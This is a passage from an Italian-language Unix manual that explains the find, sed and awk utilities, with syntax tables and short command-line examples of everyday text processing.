  Esegue una ricerca a partire dalla directory radice, all'interno del solo file system principale, per i file 'core' (solo i file normali).

- $ **find / -xdev -size +5000k -print** [*Invio*]

  Esegue una ricerca a partire dalla directory radice, all'interno del solo file system principale, per i file la cui dimensione supera i 5000 Kibyte.

- $ **find ~/dati -atime +90 -exec mv \{\} ~/archivio \;** [*Invio*]

  Esegue una ricerca a partire dalla directory '~/dati/' per i file la cui data di accesso è più vecchia di 90 giorni, spostando quei file all'interno della directory '~/archivio/'.

Il tipo di shell a disposizione ha costretto a usare spesso il carattere di escape ('\') per poter usare le parentesi graffe e il punto e virgola secondo il significato che gli attribuisce Find.

26.5 SED

SED[3] è un programma in grado di eseguire delle trasformazioni elementari in un flusso di dati di ingresso, proveniente indifferentemente da un file o da un condotto. Questo flusso di dati viene letto sequenzialmente e la sua trasformazione viene restituita attraverso lo standard output.

Il nome è l'abbreviazione di *Stream oriented editor*, che descrive istantaneamente il senso di questo programma: *editor* di flusso. Volendo usare altri termini, lo si potrebbe definire come un programma per la modifica sequenziale di un flusso di dati espressi in forma testuale.

Volendo vedere SED come una scatola nera, lo si può immaginare come un oggetto che ha due ingressi: un flusso di dati in ingresso, composto da uno o più file di testo concatenati assieme; un flusso di istruzioni in ingresso, che compone il programma dell'elaborazione da apportare ai dati; un flusso di dati in uscita che rappresenta il risultato dell'elaborazione.

Figura 26.21. Flussi di dati che interessano SED.

In linea di principio, SED non consente di indicare dei caratteri speciali nei suoi comandi attraverso delle sequenze di escape.

26.5.1 Avvio dell'eseguibile

SED è costituito in pratica dall'eseguibile '**sed**', il quale interpreta un programma scritto in un linguaggio apposito, che gli viene fornito come argomento della riga di comando, o in un file.

sed [*opzioni*] [*programma_di_elaborazione*] [*file*...]

Il testo del programma, o il nome del file che lo contiene, può essere indicato attraverso delle opzioni adatte, oppure, in loro mancanza, può essere indicato come primo degli argomenti che seguono le opzioni. Alla fine possono essere indicati i file da elaborare e in loro mancanza si usa lo standard input.

Opzione	Descrizione
`-e` ***istruzioni*** `--expression=`***istruzioni***	Questa opzione, che può essere utilizzata anche più volte, permette di specificare delle istruzioni SED che si aggiungono alle altre eventualmente già indicate.
`-f` ***file_delle_istruzioni*** `--file` ***file_delle_istruzioni***	Questa opzione permette di indicare un file contenente una serie di istruzioni SED. Anche questa opzione può essere usata più volte, aggiungendo ogni volta altre istruzioni al programma globale.

`-n`
`--quiet`
`--silent`
	In condizioni normali, alla fine di ogni ciclo, SED emette il contenuto di quello che viene definito come *pattern space*. In pratica, ogni riga letta ed elaborata viene emessa attraverso lo standard output senza bisogno di un comando apposito. Utilizzando questa opzione, si fa in modo di evitare tale comportamento, così che il programma di elaborazione interpretato da SED deve ordinare quando emettere ogni riga.

26.5.2 Logica di funzionamento

Il primo compito di SED, una volta avviato, è quello di raccogliere tutto ciò che deve andare a comporre il programma di elaborazione: può trattarsi di direttive fornite singolarmente attraverso l'opzione '**`-e`**' e di gruppi di direttive fornite all'interno di file appositi, indicati attraverso l'opzione '**`-f`**'. In particolare, SED si prende cura di mantenerne intatto l'ordine. Successivamente, concatena i dati in ingresso secondo la sequenza indicata dei file posti alla fine della riga di comando, oppure utilizza direttamente lo standard input.

Lo schema che appare nella figura 26.23 si avvicina all'idea del funzionamento di SED: il flusso in ingresso viene letto sequenzialmente, una riga alla volta; ogni volta la riga viene messa in un'area transitoria, nota come *pattern space*; viene confrontata la riga con ogni direttiva del programma di elaborazione e se nessuna di queste direttive coincide, la riga non viene elaborata, compiendo semplicemente l'azione predefinita prima di passare al prossimo ciclo di lettura. Se una o più direttive del programma di elaborazione corrispondono alla riga, vengono eseguite sequenzialmente le elaborazioni previste; poi, alla fine, si passa comunque per l'esecuzione dell'azione predefinita.

Figura 26.23. Struttura semplificata del funzionamento di SED.

L'azione predefinita di SED è l'emissione del contenuto dell'area transitoria, per cui, se non venisse fornita alcuna direttiva a SED, si otterrebbe almeno la riemissione completa dello stesso file ricevuto in ingresso:

$ **sed "" pippo.txt** [*Invio*]

L'esempio mostra proprio l'avvio dell'eseguibile '**sed**' allo scopo di interpretare una direttiva nulla, fornendo il file 'pippo.txt' in ingresso. Il risultato è la riemissione del contenuto di questo file attraverso lo standard output.

Per impedire che questa azione si compia automaticamente, si utilizza l'opzione '**-n**' (ovvero '**--quiet**' o '**--silent**'). In questo modo, è compito delle direttive del programma di elaborazione il richiedere espressamente l'emissione della riga elaborata.

SED dispone di due aree transitorie per le elaborazioni: una che contiene la riga letta, come già descritto; l'altra, definita come *hold space*, viene gestita eventualmente attraverso le direttive del programma di elaborazione interpretato da SED. L'utilizzo di questa seconda area di memoria non viene mostrato qui.

Dal momento che SED è un programma storico dei sistemi Unix, è bene tenere presente le limitazioni che potrebbe avere in questo o quel sistema. In particolare, qualche realizzazione di SED potrebbe porre un limite alla dimensione delle righe. Questo fatto va tenuto presente quando si vogliono realizzare dei programmi «portabili», ovvero, da usare su piattaforme diverse, con sistemi operativi diversi.

26.5.3 Script e direttive multiple

Di solito, si vede utilizzare SED con direttive fornite direttamente attraverso la stessa riga di comando. Volendo realizzare un programmino un po' più complesso, si potrebbe scrivere uno script che deve essere interpretato da SED. Per farlo, occorre iniziare il file in questione con una delle due intestazioni seguenti:

```
#!/bin/sed -f
```

```
#!/bin/sed -nf
```

Nel primo caso, si fa in modo di fornire all'eseguibile '**sed**' (si suppone che si trovi nella directory '/bin/') l'opzione '**-f**', in modo che il file stesso venga inteso correttamente come un programma di elaborazione; nel secondo, oltre a questo, viene aggiunta l'opzione '**-n**', con la quale si inibisce l'emissione predefinita delle righe dopo ogni ciclo di elaborazione.

È utile osservare che in uno script del genere non è possibile fare riferimento alle variabili di ambiente.

Per quanto riguarda le direttive contenute nei file, queste utilizzano una riga per ognuna, dove le righe bianche o vuote vengono ignorate, assieme ai commenti che iniziano con il simbolo '**#**':

```
direttiva_di_elaborazione
direttiva_di_elaborazione
...
```

Le direttive fornite attraverso la riga di comando sono solitamente istruzioni singole; per cui, volendo aggiungerne delle altre, si utilizzano più opzioni '**-e**':

```
sed -e direttiva_di_elaborazione [-e direttiva_di_elaborazione]... file_in_ingresso...
```

Tuttavia, di solito è possibile indicare più direttive con una sola opzione '**-e**', separandole con un punto e virgola:

```
sed -e direttiva_di_elaborazione [; direttiva_di_elaborazione]... file_in_ingresso...
```

L'uso di più direttive nella riga di comando, con o senza il punto e virgola, è sconsigliabile in generale, dal momento che dovendo scrivere un programma di elaborazione complesso è preferibile usare un file, trasformandolo eventualmente in uno script come è stato mostrato all'inizio di questa sezione.

26.5.4 Direttive

Ogni direttiva di un programma di elaborazione SED fa riferimento, esplicitamente o implicitamente, a un gruppo di righe, identificate in qualche modo, a cui vengono applicati dei comandi.

```
[selezione_righe] comando
```

Il modello sintattico mostra l'indicazione di un comando dopo la selezione delle righe; questo comando può essere un raggruppamento di comandi, indicato all'interno di parentesi graffe.

La selezione delle righe per una direttiva SED è il primo elemento importante per queste. La mancanza dell'indicazione di questa selezione rappresenta implicitamente la selezione di tutte le righe.

È importante osservare che le righe possono essere indicate anche attraverso la corrispondenza con un'espressione regolare, la quale non deve essere confusa con i comandi che a loro volta possono avere a che fare con altre espressioni regolari.

Inoltre, è necessario ricordare che SED numera le righe a partire dalla prima del primo file, continuando fino alla fine dell'ultimo file, senza interrompere la numerazione.

Tabella 26.26. Selezione delle righe.

Direttiva	Descrizione
n	Un numero puro e semplice, indica precisamente la riga *n*-esima.
$	Un dollaro rappresenta l'ultima riga dell'ultimo file.
/bre/	Un'espressione regolare elementare (BRE), racchiusa tra due barre oblique normali, serve a selezionare tutte le righe per cui corrisponde questo modello. Dal momento che la barra obliqua viene usata come delimitatore, se questa deve essere inserita nel modello, occorre proteggerla con una barra obliqua inversa ('\/').
xbrex	Si tratta sempre della selezione delle righe in base alla corrispondenza con un'espressione regolare, con la differenza che questa viene delimitata con un carattere differente, *x*, scelto liberamente, in modo da non interferire con i simboli usati nel modello. Se il modello dell'espressione regolare dovesse contenere anche questo carattere usato per la delimitazione, potrebbe essere protetto con l'aggiunta della barra obliqua inversa all'inizio ('*x*').
riga_iniziale,*riga_finale*	È possibile indicare un intervallo di righe, unendo assieme due riferimenti a righe, sia in forma numerica, sia attraverso le espressioni regolari. Per quanto riguarda l'individuazione della prima riga dell'intervallo, la cosa è abbastanza semplice; in particolare, se si tratta di un'espressione regolare, la prima corrispondenza indica la prima riga. Più complicato è il modo in cui viene preso in considerazione il secondo modello: se si tratta di un numero, questo rappresenta l'*n*-esima riga da raggiungere, che deve essere considerata inclusa nell'intervallo, ma se questo numero indica una riga precedente alla riga iniziale dell'intervallo, allora viene selezionata solo quella iniziale; se si tratta di un'espressione regolare, allora questo modello viene confrontato a partire dalla riga successiva a quella iniziale e alla corrispondenza raggiunta, si ottiene la riga finale dell'intervallo; se si tratta di un'espressione regolare, il confronto avviene a partire dalla riga successiva alla prima che è stata trovata.
riga_iniziale,*riga_finale*!	Se alla fine della selezione delle righe appare un punto esclamativo, questo rappresenta l'inversione della selezione, ovvero tutte le altre righe.

Come accennato, ogni direttiva si compone di una selezione di righe, in modo esplicito o implicito, e di un comando, ovvero di un raggruppamento di comandi racchiuso tra parentesi graffe. Vengono elencati di seguito i comandi più comuni.

Tabella 26.27. Comandi comuni.

Direttiva	Descrizione
#*commento*	Il simbolo '`#`' rappresenta un comando speciale di SED che serve solo a fargli ignorare il testo che segue fino alla fine della riga (fino alla fine della direttiva). Trattandosi di un «comando», si applica a delle righe, che però non possono essere indicate. Di solito, i commenti di questo tipo si inseriscono solo nei file contenenti direttive di un programma di elaborazione SED (eventualmente uno script eseguibile, realizzato nella forma che è già stata mostrata). Se i primi due caratteri di un file del genere corrispondono alla stringa '`#n`', SED funziona come se fosse stata usata l'opzione '`-n`', per cui occorre fare attenzione ai commenti che appaiono nella prima riga di tali file.
s/*bre*/*rimpiazzo*/ [*parametri*] s*x*bre*x*rimpiazzo*x* [*parametri*]	Con questo comando si vuole sostituire ciò che viene delimitato dall'espressione regolare con il testo di rimpiazzo, tenendo conto dei parametri posti eventualmente alla fine. L'espressione regolare e il testo di rimpiazzo sono delimitati e separati attraverso una barra obliqua normale, oppure da un altro simbolo scelto liberamente. Per inserire questa barra obliqua, o qualunque altro simbolo che svolga tale compito nell'espressione regolare, occorre proteggerlo con la barra obliqua inversa ('`\/`', ovvero '`\`*x*'). L'espressione regolare può essere realizzata in modo da individuare alcune parti, delimitate attraverso '`\(`' e '`\)`' (bisogna ricordare che si tratta di espressioni regolari elementari, ovvero di BRE); in tal caso, nella stringa di rimpiazzo si può fare riferimento a questi blocchi attraverso la forma '`\`*n*', dove *n* è un numero da uno a nove, che indica l'*n*-esimo riferimento a questi raggruppamenti della parte di riga presa in considerazione dall'espressione regolare. Nella stringa di rimpiazzo si può anche utilizzare la e-commerciale ('`&`') per fare riferimento a tutto il blocco di testo a cui corrisponde l'espressione regolare stessa. I parametri in coda al modello, hanno il significato che viene descritto nei modelli successivi.
s/*bre*/*rimpiazzo*/g [*altri_parametri*] s*x*bre*x*rimpiazzo*x*g [*altri_parametri*]	Con il parametro '`g`' si esegue l'operazione di rimpiazzo per tutte le corrispondenze che si possono avere sulla stessa riga, senza limitarsi alla prima soltanto.
s/*bre*/*rimpiazzo*/p [*altri_parametri*] s*x*bre*x*rimpiazzo*x*p [*altri_parametri*]	Con il parametro '`p`', se la sostituzione ha avuto luogo, emette la riga risultante (il *pattern space*).
s/*bre*/*rimpiazzo*/*n* [*altri_parametri*] s*x*bre*x*rimpiazzo*x*n [*altri_parametri*]	Indicando un numero come parametro, si rimpiazza solo nell'ambito dell'*n*-esima corrispondenza con l'espressione regolare.
s/*bre*/*rimpiazzo*/w *file* ↩ ↪ [*altri_parametri*] s*x*bre*x*rimpiazzo*x*w *file* ↩ ↪ [*altri_parametri*]	Con il parametro '`w`', se la sostituzione ha avuto luogo, scrive la riga risultante nel file indicato.
q	Termina il funzionamento di SED senza altre elaborazioni e senza leggere altro dai file in ingresso.

Direttiva	Descrizione
`d`	Cancella l'area di memoria dove è stata accumulata la riga letta, avviando immediatamente un ciclo nuovo.
`p`	Emette la riga letta, con le modifiche eventuali che gli fossero state apportate nel frattempo. È importante ricordare che questo è il comportamento predefinito di SED, a meno che venga utilizzata l'opzione '**-n**'. Nella preparazione di script per SED occorre tenere presente che alcune realizzazioni di questo emettono la riga una sola volta, anche se viene usato il comando '**p**' e non è stata usata l'opzione '**-n**', mentre altre, come nel caso di GNU, lo fanno due volte. Questi due comportamenti opposti sono ammissibili secondo lo standard POSIX.
`n`	Questo comando permette di passare alla prossima riga, immediatamente, tenendo conto che se non è stata usata l'opzione '**-n**', prima di passare alla prossima viene emessa quella precedente (come al solito). Lo scopo di questo comando è fare in modo che le direttive successive si trovino di fronte una riga nuova.
`w` ***file***	Copia le righe nel file indicato, creandolo per l'occasione.
`{` ***comandi*** `}`	Un raggruppamento di comandi può essere realizzato delimitandolo tra parentesi graffe. Tuttavia, è importante osservare che in questo caso, i comandi vanno indicati ognuno in una riga differente, inoltre la parentesi graffa di chiusura deve apparire da sola in una riga. Di solito, non c'è la necessità di usare un raggruppamento, dal momento che basta ripetere la stessa selezione di righe con un altro comando.

Alcuni comandi che qui non vengono descritti, richiedono una scomposizione in più righe, indicando la continuazione attraverso il simbolo '`\`'. Dal momento che questi comandi non vengono mostrati, quello che si vuole far notare è che la barra obliqua inversa come simbolo di continuazione ha un significato speciale in SED, pertanto non va usata se non si conosce esattamente il risultato che si ottiene effettivamente.

26.5.5 Esempi

A seconda dei casi e dell'utilità della cosa, si fa riferimento a direttive fornite nella riga di comando (con o senza l'opzione '**-e**'), oppure a uno script vero e proprio.

Elaborazioni banali

- `$` **`sed "" prova.txt`** [*Invio*]

  Legge il file '`prova.txt`' e lo riemette tale e quale, dal momento che non è stata specificata alcuna direttiva per il programma di elaborazione.

- `$` **`sed -n 'p' prova.txt`** [*Invio*]

  Si ottiene lo stesso risultato dell'esempio precedente, perché prima viene usata l'opzione '**-n**' con cui si inibisce la riemissione predefinita delle righe lette, ma poi si specifica una direttiva contenente il comando '**p**' applicato a tutte le righe del flusso in ingresso.

Selezione delle righe

- `$ sed -n '1,10p' prova.txt` [*Invio*]

  Emette solo le prime 10 righe del file.

- `$ sed '/.\{81,\}/d' prova.txt` [*Invio*]

  Elimina le righe più lunghe di 80 caratteri.

- `$ sed '/^$/d' prova.txt` [*Invio*]

  Elimina tutte le righe vuote.

- `$ sed '/^---INIZIO---$/,/^---FINE---$/d' prova.txt` [*Invio*]

  Elimina tutte le righe comprese negli intervalli delimitati da righe contenenti esclusivamente la stringa '**---INIZIO---**' e '**---FINE---**'.

- `$ sed -n '/^---INIZIO---$/,/^---FINE---$/p' prova.txt` [*Invio*]

  Emette tutte le righe comprese negli intervalli delimitati da righe contenenti esclusivamente la stringa '**---INIZIO---**' e '**---FINE---**'.

Sostituzione del contenuto delle righe

- `$ sed 's/andato/venuto/' prova.txt` [*Invio*]

  Sostituisce in ogni riga la prima occorrenza della stringa «andato» con la stringa «venuto».

- `$ sed 's/andato/venuto/g' prova.txt` [*Invio*]

  Sostituisce tutte le occorrenze della stringa «andato» con la stringa «venuto».

- `$ sed 's/^/    /' prova.txt` [*Invio*]

  Aggiunge quattro spazi all'inizio di ogni riga del file.

- `$ sed 's/\(.*\):\(.*\):\(.*\):\(.*\):\(.*\):\(.*\):\(.*\)↩`
  `↪/\1:\3/' /etc/passwd` [*Invio*]

  Seleziona solo il primo e il terzo campo del file '`/etc/passwd`'; in pratica, preleva il nominativo e il numero UID.

Raggruppamenti

- ```
  #!/bin/sed -nf
  {
  p
  w registro
  }
  ```

  L'esempio mostra l'unione di due comandi riferiti allo stesso gruppo di righe (tutte). Lo scopo è quello di emettere le righe attraverso lo standard output e di annotarle anche in un file denominato '`registro`'.

  Si osservi il fatto che la parentesi graffa di chiusura deve essere indicata da sola (come si vede nell'esempio) e di conseguenza può essere opportuno fare altrettanto per quella di apertura.
  ```

• $ **sed -n -e 'p' -e 'w registro' prova.txt** [*Invio*]

Questo esempio fa la stessa cosa di quello precedente, con la differenza che i comandi sono stati separati in due direttive riferite allo stesso gruppo di righe, inoltre si elaborano le righe del file '`prova.txt`'.

26.6 Introduzione a AWK

AWK è un linguaggio di programmazione nato fondamentalmente per l'analisi e la rielaborazione di file di testo organizzati in una qualche forma tabellare. AWK potrebbe essere usato per fare anche di più, solo che quando si supera un certo limite di complessità, non è conveniente il suo utilizzo.

AWK è un interprete, nel senso che i programmi fatti secondo questo linguaggio, vengono eseguiti direttamente, senza essere compilati, come nel caso degli script di shell. Un programma AWK può essere scritto in un file di testo normale, oppure può essere fornito come argomento della riga di comando dell'interprete: il binario '**awk**'. Volendo automatizzare l'avvio dell'interprete per l'esecuzione di uno script (che abbia i permessi di esecuzione opportuni), lo si può iniziare con la direttiva comune agli script di shell:

```
#!/usr/bin/awk -f
```

Nei sistemi Unix esistono diversi tipi differenti di interpreti AWK. Con GNU/Linux potrebbe essere disponibile la versione GNU ('**gawk**'),[4] che ha molte estensioni rispetto agli standard, oppure ci potrebbe essere '**mawk**'.

26.6.1 Principio di funzionamento e struttura fondamentale

Il programma AWK tipico, è qualcosa che legge i dati provenienti da uno o più file, li analizza in qualche modo, generando un risultato che viene visualizzato direttamente o indirizzato a un altro file. Questo indica implicitamente due cose: un programma AWK non dovrebbe essere fatto per modificare i file di partenza; inoltre, si dà per scontato che ci sia una lettura dei file di origine, infatti ciò avviene di solito senza una richiesta esplicita.

Dal punto di vista di AWK, un file che viene analizzato è composto da record, corrispondenti normalmente alle righe del file di testo stesso, dove però il codice di interruzione di riga può essere specificato espressamente come qualcosa di diverso rispetto al solito.

Un programma AWK è composto fondamentalmente da ***regole***, le quali stabiliscono il comportamento da prendere nei confronti dei dati in ingresso. I commenti sono introdotti dal simbolo '**#**' e terminano alla fine della riga; inoltre, le righe vuote e quelle bianche vengono ignorate nello stesso modo. La struttura delle regole di un programma AWK si può esprimere secondo lo schema seguente:

```
criterio_di_selezione { azione }
```

In pratica, ogni regola si suddivide in due parti: un'istruzione iniziale che definisce quali record prendere in considerazione e un'azione (più o meno articolata) indicata all'interno di parentesi graffe (che quindi vanno intese in modo letterale nel modello sintattico), da eseguire ogni volta che si incontra una corrispondenza con il criterio di selezione stabilito. Questa

descrizione è solo una semplificazione che per il momento serve a iniziare la comprensione di questo linguaggio.

Una regola di un programma AWK può contenere l'indicazione esplicita del solo criterio di selezione, o della sola azione da compiere. Ciò perché in tal caso si utilizza un'azione o un criterio di selezione predefinito (questo particolare viene ripreso quando si mostrano i primi esempi).

L'azione di una regola AWK è molto simile a un programma C, o Perl, con tante semplificazioni, dove il record selezionato viene passato attraverso dei ***campi***, che ricordano i parametri delle shell comuni; quelli che si espandono con: '**`$0`**', '**`$1`**', '**`$2`**',... In pratica, un'azione di una regola AWK è un programma a sé stante, eseguito ogni volta che il criterio di selezione della regola si avvera.

26.6.1.1 Selezione e azione predefinita

Una regola che non contenga l'indicazione del criterio di selezione, fa sì che vengano prese in considerazione tutte le righe dei dati in ingresso. In AWK, il valore booleano *Vero* si esprime con qualunque valore differente dallo zero e dalla stringa nulla, dal momento che entrambi questi rappresentano invece il valore *Falso* in un contesto booleano. In altre parole, una regola che non contenga l'indicazione del criterio di selezione, è come se avesse al suo posto il valore uno, che si traduce ogni volta in un risultato booleano *Vero*, cosa che permette la selezione di tutti i record.

Una regola che non contenga l'indicazione dell'azione da compiere, fa riferimento a un'azione predefinita, che in pratica fa sì che venga emessa attraverso lo standard output ogni riga che supera il criterio di selezione. Praticamente, è come se venisse usata l'azione '**`{ print }`**'. Per essere precisi, dal momento che in AWK il concetto di «predefinito» può riguardare diversi livelli, si tratta dell'azione '**`{ print $0 }`**'.

In pratica, se si unisse il criterio di selezione predefinito e l'azione predefinita, si avrebbe la regola seguente, che riemette attraverso lo standard output tutti i record che legge dai file in ingresso:

```
1 { print }
```

Bisogna ricordare però che almeno una delle due parti deve essere indicata esplicitamente: o il criterio di selezione, o l'azione.

26.6.1.2 Campi

Si è accennato al fatto che il testo analizzato da un programma AWK, viene visto generalmente come qualcosa composto da record suddivisi in campi. I record vengono individuati in base a un codice che li separa, corrispondente di solito al codice di interruzione di riga, per cui si ottiene l'equivalenza tra record e righe. I campi sono separati in modo analogo, attraverso un altro codice opportuno.

Eccezionalmente, quando il codice indicato per individuare la suddivisione in campi è <*SP*>, cioè lo spazio normale, diventa indifferente la quantità di spazi utilizzati tra un campo e l'altro; inoltre, è possibile utilizzare anche i caratteri di tabulazione.

Se per il codice che definisce la fine di un record e l'inizio di quello successivo, viene indicata la stringa nulla, ('""'), si intende che i record siano separati da una o più righe bianche o vuote.

Ogni record può avere un numero variabile di campi; al loro contenuto si può fare riferimento attraverso il simbolo '**$**' seguito da un numero che ne indica la posizione: '**$*n***' è il campo ***n***-esimo del record attuale, ma in particolare, '**$0**' rappresenta il record completo. Il numero in questione può anche essere rappresentato da un'espressione (per esempio una variabile) che si traduce nel numero desiderato. Per esempio, se ***pippo*** è una variabile contenente il valore due, '**$pippo**' è il secondo campo.

26.6.1.3 Criterio di selezione e condizioni particolari

Il criterio di selezione dei record è generalmente un'espressione che viene valutata per ognuno di questi, in ordine, che, quando si avvera, permette l'esecuzione dell'azione corrispondente. Oltre a queste situazioni generali, esistono due istruzioni speciali da utilizzare come criteri di selezione: '**BEGIN**' e '**END**'. Queste due parole chiave vanno usate da sole, rappresentando rispettivamente il momento iniziale prima di cominciare la lettura dei dati in ingresso e il momento finale successivo alla lettura ed elaborazione dell'ultimo record dei dati. Le azioni che si abbinano a queste condizioni particolari servono a preparare qualcosa e a concludere un'elaborazione.

Esiste un altro caso di criterio di selezione speciale, costituito da due espressioni separate da una virgola, come si vede nello schema seguente:

espressione_1* , *espressione_2

La prima espressione serve ad attivare il passaggio dei record; la seconda serve a disattivarlo. In pratica, quando si avvera la prima espressione, quel record e i successivi possono passare, fino a quando si avvera la seconda. Quando si avvera la seconda espressione (essendosi avverata anche la prima), il record attuale passa, ma quelli successivi non più. Se in seguito si riavvera la prima condizione, la cosa ricomincia.

Tabella 26.31. Schema complessivo dei diversi tipi di criteri di selezione in AWK.

Criterio di selezione	Descrizione
BEGIN	Esegue l'azione prima di iniziare a leggere i dati in ingresso.
END	Esegue l'azione dopo la lettura dei dati in ingresso.
espressione	Quando si avvera, esegue l'azione per il record attuale.
espr_1* , *espr_2	Le due espressioni individuano i record a intervalli.

26.6.1.4 Un programma banale per cominciare

Per mostrare il funzionamento di un programma AWK viene mostrato subito un esempio banale. Come è già stato descritto, la cosa più semplice che possa fare un programma AWK, è la riemissione degli stessi record letti in ingresso, senza porre limiti alla selezione.

```
1 { print $0 }
```

Come è già stato descritto, la regola mostrata è molto semplice: il numero uno rappresenta in pratica un valore corrispondente a *Vero*, dal punto di vista booleano, per cui si tratta di un'espressione che si avvera sempre, portando così alla selezione di tutti i record; l'azione richiede l'emissione della riga attuale, rappresentata da '**`$0`**'.

Se si realizza un file contenente la regola che è stata mostrata, supponendo di averlo chiamato '`banale`', per avviarlo basta il comando seguente:

$ **`awk -f banale`** [*Invio*]

Nel comando non è stato specificato alcun file da analizzare, per cui l'interprete '**`awk`**' lo attende dallo standard input, in questo caso dalla tastiera. Per terminare la prova basta concludere l'inserimento attraverso la combinazione [*Ctrl d*].

Un programma così breve può essere fornito direttamente nella riga di comando:

$ **`awk '1 { print $0 }'`** [*Invio*]

Per realizzare uno script, basta mettere l'intestazione corretta al file del programma, ricordando poi di rendere eseguibile il file:

```
#!/usr/bin/awk -f
1 { print $0 }
```

Prima di proseguire, è il caso di vedere come funzionano i criteri di selezione '**`BEGIN`**' e '**`END`**':

```
BEGIN { print "Inizio del programma" }
1 { print $0 }
END { print "Fine del programma" }
```

In questo modo, prima di iniziare la riemissione del testo che proviene dal file in ingresso, viene emesso un messaggio iniziale; quindi, alla fine di tutto viene emesso un altro messaggio conclusivo.

26.6.1.5 Variabili predefinite

AWK ha ereditato dalle shell l'idea delle variabili predefinite, con le quali si può modificarne l'impostazione. Le variabili predefinite si distinguono dalle altre perché sono tutte espresse attraverso nomi con lettere maiuscole.

Due di queste variabili sono fondamentali: ***RS***, *Record separator*, e ***FS***, *Field separator*. La prima serve a definire il carattere da prendere in considerazione per separare i dati in ingresso in record; la seconda serve a definire il codice da prendere in considerazione per separare i record in campi. Per la precisione, nel caso della variabile ***FS***, può trattarsi di un carattere singolo, oppure di un'espressione regolare.

I valori predefiniti di queste variabili sono rispettivamente <*LF*>, ovvero il codice di interruzione di riga dei file di testo normali, e uno spazio normale, che rappresenta una situazione particolare, come è già stato descritto. Questi valori possono essere cambiati: la situazione tipica in cui si deve intervenire nella variabile ***FS*** è quella della lettura di file come '`/etc/passwd`' e simili, dove si assegna generalmente alla variabile ***FS*** il valore '`:`', che è effettivamente il carattere utilizzato per separare i campi.

26.6.1.6 Struttura ideale di un programma AWK

Idealmente, un programma AWK potrebbe essere rappresentato in modo più esplicito, secondo lo schema sintattico seguente, dove le parentesi graffe vanno considerate in modo letterale:

```
[function nome_funzione (parametri_formali) { istruzioni }]
...
[BEGIN { azione }]
[BEGIN { azione }]
...
espressione_di_selezione { azione }
...
[END { azione }]
[END { azione }]
...
```

L'ordine indicato non è indispensabile, tuttavia è opportuno. In pratica vengono eseguite nell'ordine le fasi seguenti:

1. vengono eseguite le azioni abbinate alle condizioni '**`BEGIN`**', ammesso che esistano;
2. inizia la lettura del file in ingresso;
3. per ogni record vengono valutate le espressioni di selezione;
4. per ogni espressione che si avvera, viene eseguita l'azione corrispondente (se più espressioni si avverano simultaneamente, vengono eseguite ordinatamente tutte le azioni relative);
5. alla fine, vengono eseguite le azioni abbinate alle condizioni '**`END`**'.

Un programma AWK potrebbe essere composto anche solo da regole di tipo '**`BEGIN`**' o '**`END`**'. Nel primo caso non è nemmeno necessario leggere i dati in ingresso, mentre nel caso ci sia una regola di tipo '**`END`**', ciò diventa indispensabile, perché l'azione relativa potrebbe utilizzare le informazioni generate dalla lettura stessa.

AWK mette a disposizione una serie di funzioni predefinite, consentendo la dichiarazione di altre funzioni personalizzate. L'ordine in cui appaiono queste funzioni non è importante: una funzione può richiamare anche un'altra funzione dichiarata in una posizione successiva.

26.6.2 Avvio dell'interprete

L'interprete di un programma AWK è l'eseguibile '**`awk`**', che di solito è un collegamento alla realizzazione di AWK che risulta installata effettivamente: in un sistema GNU/Linux potrebbe trattarsi di '**`mawk`**' o '**`gawk`**' (il secondo è la versione GNU di AWK). La sintassi standard di un interprete AWK dovrebbe essere quella seguente:

```
awk [-F separazione_campi] [-v variabile=valore] -f file_contenente_il_programma ↩
↪ [--] [file_in_ingresso...]
```

```
awk [-F separazione_campi] [-v variabile=valore] [--] 'testo_del_programma' ↩
↪ [file_in_ingresso...]
```

I due schemi alternativi riguardano la possibilità di far leggere all'interprete il programma contenuto in un file, indicato attraverso l'opzione '**`-f`**', oppure di fornirlo direttamente nella riga di comando, delimitandolo opportunamente perché venga preso dalla shell come un argomento singolo.

Se non vengono forniti i file da usare come dati in ingresso, l'interprete attende i dati dallo standard input.

Tabella 26.35. Alcune opzioni.

Opzione	Descrizione
`-F` ***separazione_campi***	Definisce in che modo devono essere distinti i campi dei record, modificando così il valore predefinito della variabile ***FS***. Può trattarsi di un carattere singolo, oppure di un'espressione regolare estesa (ERE).
`-v` ***variabile*=*valore***	Assegna un valore a una variabile. La variabile in questione può essere predefinita, oppure una nuova che viene utilizzata nel programma per qualche motivo.
`-f` ***file_programma_awk***	Indica espressamente il file contenente il programma AWK del quale deve essere iniziata l'interpretazione.
`--`	Una coppia di trattini dichiara la conclusione delle opzioni normali e l'inizio degli argomenti finali (può essere usato per evitare ambiguità, nel caso ce ne possano essere). Gli argomenti successivi possono essere il programma stesso, se non è stata utilizzata l'opzione '**`-f`**', quindi i file da fornire in ingresso per l'elaborazione.

Segue la descrizione di alcuni esempi.

- `$` **`awk -f programma.awk elenco`** [*Invio*]

  Avvia l'esecuzione del programma contenuto nel file '`programma.awk`', per l'elaborazione del file '`elenco`'.

- `$` **`cat elenco | awk -f programma.awk`** [*Invio*]

Esattamente come nell'esempio precedente, con la differenza che il file '`elenco`' viene fornito attraverso lo standard input.

- $ **`awk -f programma.awk -F : /etc/passwd`**[*Invio*]

  Esegue una qualche elaborazione, attraverso il programma '`programma.awk`', sui dati del file '`/etc/passwd`'. Per questo motivo, viene definito l'utilizzo del carattere '`:`' come separatore dei campi che compongono i record di quel file.

- $ **`awk -f programma.awk -v FS=:  /etc/passwd`**[*Invio*]

  Esattamente come nell'esempio precedente, intervenendo direttamente sulla variabile predefinita ***FS***.

26.6.3 Espressioni

L'espressione è qualcosa che restituisce un valore. I tipi di valori gestiti da AWK sono pochi: numerici (numeri reali), stringhe e stringhe numeriche. I valori booleani non hanno un tipo indipendente: lo zero numerico e la stringa nulla valgono come *Falso*, mentre tutto il resto vale come *Vero* (anche la stringa '**`"0"`**' vale come *Vero*, a differenza di quanto accade con il linguaggio Perl).

26.6.3.1 Costanti

Le costanti sono espressioni elementari che restituiscono un valore in base a una simbologia convenuta. I valori numerici si esprimono in forma costante nei modi comuni anche agli altri linguaggi di programmazione. I valori interi si possono indicare come una serie di cifre numeriche, non delimitate, che esprimono il valore secondo una numerazione a base decimale; i valori non interi possono essere espressi utilizzando il punto come separatore tra la parte intera e la parte decimale; sia i valori interi che gli altri, possono essere espressi secondo la notazione esponenziale. Le costanti numeriche che appaiono di seguito, sono esempi di rappresentazione dello stesso valore: 100,5.

```
100.5
1.005e+2
1005e-1
```

Le stringhe sono delimitate da apici doppi, come si vede nell'esempio seguente:

```
"questa è una stringa"
```

Le stringhe possono contenere delle sequenze di escape, come elencato nella tabella 26.38.

